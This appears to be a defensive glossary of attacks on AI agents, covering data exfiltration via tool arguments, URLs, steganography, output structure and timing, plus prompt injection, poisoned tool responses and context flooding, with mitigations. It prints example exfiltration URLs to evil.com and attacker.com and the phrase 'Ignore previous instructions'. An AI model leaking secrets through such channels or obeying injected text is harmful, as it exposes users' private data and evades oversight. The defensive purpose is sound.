Contextual Exfiltration

The attacker manipulates the agent into embedding sensitive context data directly into the arguments of a function call. The data is exfiltrated to an attacker-controlled endpoint as a seemingly valid parameter.

• Mechanism: The agent is prompted to summarize a document and post the result to a webhook, but the 'summary' is actually the raw, sensitive source text.
• Example: An agent with access to a send_email tool is tricked into setting the body parameter to the contents of a previous, confidential user message.
• Key Indicator: Tool call arguments that contain verbatim copies of context data rather than transformed or summarized outputs.

Sensitive information is exfiltrated by encoding it into the query string or path of a URL that the agent is instructed to fetch. The attacker receives the data via their web server access logs.

• Mechanism: The agent is instructed to retrieve an image from https://evil.com/logo.jpg?data=[BASE64_ENCODED_SECRET].
• Example: An agent reading a user's private key is told to 'validate the key' by sending a request to https://api.attacker.com/check?key=[PRIVATE_KEY].
• Defense: URL allow-listing and parameterized fetch tools that prevent dynamic query string construction from context.

Data is hidden within a generated artifact, such as an image or audio file, using steganography. The agent is manipulated into generating a file that appears normal but contains hidden, encoded secrets.

• Mechanism: The agent is prompted to 'create a logo with a hidden watermark for security,' but the watermark algorithm is actually encoding the user's conversation history into the pixel values.
• Example: An agent with image generation capabilities is told to create a chart. The chart's colors or legend text are manipulated to encode a stolen API key.
• Challenge: This is extremely difficult to detect with standard content filters, requiring statistical analysis of generated media.

The attacker uses the agent's structured output format, like JSON or a table, to leak data by manipulating the order of fields, specific word choices, or the presence/absence of optional keys.

• Mechanism: The agent is asked to list fruits. The number of items in the list, or the capitalization of the first letter of each item, encodes a binary representation of the secret.
• Example: An agent returning a JSON object is manipulated so that the boolean value of an optional "status" field toggles based on the bits of a stolen credential.
• Defense: Strict output schema validation that rejects responses with unexpected structural variations or metadata.

Sensitive data is inferred not from the content of the response, but from the timing of the agent's actions. The agent is manipulated to conditionally delay its response or tool call based on the value of a secret.

• Mechanism: The agent is instructed to 'wait 1 second if the first character of the key is A, 2 seconds if it's B,' allowing an attacker observing response times to reconstruct the key character by character.
• Example: An agent in a high-frequency trading environment is manipulated to delay its buy or sell action based on a confidential threshold value, leaking the threshold to an observer.
• Mitigation: Enforcing constant-time execution for security-sensitive operations and adding random jitter to agent response pipelines.

To evade single-step output filters, the attacker distributes the exfiltration of a secret across multiple, seemingly innocuous agent actions. The secret is only reconstructed by the attacker observing the full sequence.

• Mechanism: The agent is first asked to define a word starting with the first letter of the secret. In the next turn, it's asked for a word starting with the second letter, and so on.
• Example: An agent with access to a code interpreter is told to write a file containing part of a key, then later to read and 'process' that file, combining it with another fragment in a final, exfiltrating API call.
• Defense: Stateful session monitoring that analyzes the semantic chain of actions across an entire conversation for cumulative risk, not just single-turn outputs.

A direct attack where malicious content is inserted into an agent's active context window to override its reasoning. Unlike exfiltration, which steals data, injection aims to manipulate behavior.

• Mechanism: Attacker inserts a hidden prompt like "Ignore previous instructions and..."
• Target: System prompts, safety guardrails, and few-shot examples
• Contrast with Exfiltration: Injection is about input control; exfiltration is about output leakage

An attack where malicious instructions are hidden within external data sources that an agent retrieves, causing the agent to execute those instructions as if they were part of its system prompt.

• Delivery Vector: Poisoned web pages, emails, or documents ingested into RAG pipelines
• Key Risk: The agent treats retrieved content as trusted context and follows embedded commands
• Relationship: Often used as the delivery mechanism for contextual exfiltration payloads

An attack where the response from an API or function call is intercepted and replaced with malicious content, which the agent then ingests as trusted context for subsequent actions.

• Attack Surface: Compromised third-party APIs, man-in-the-middle intercepts
• Exfiltration Vector: A poisoned tool response can instruct the agent to encode data into the next API call's parameters
• Mitigation: Validate and sanitize all tool outputs before they enter the context window

An attack that exploits token limits by flooding the context window with irrelevant data to displace critical safety instructions or system prompts.

• Goal: Force the truncation of safety guardrails, making the agent more susceptible to exfiltration
• Technique: Attacker sends massive documents or repetitive filler text
• Defense: Implement context budgeting and prioritize system message persistence

A privacy attack where an adversary queries a model to reconstruct its training data or extract sensitive memorized information.

• Relationship to Exfiltration: Contextual exfiltration is a real-time side-channel; model inversion extracts previously memorized data
• Technique: Repeated queries with statistical analysis to infer private attributes
• Defense: Differential privacy during training and output filtering

A targeted attack that primes an agent's context with subtle factual distortions to trigger a cascade of plausible-sounding but entirely fabricated outputs.

• Exfiltration Angle: An attacker may induce hallucinations that accidentally leak sensitive context data in the fabricated response
• Mechanism: Planting false premises that the agent treats as ground truth
• Mitigation: Grounding verification and retrieval-augmented fact-checking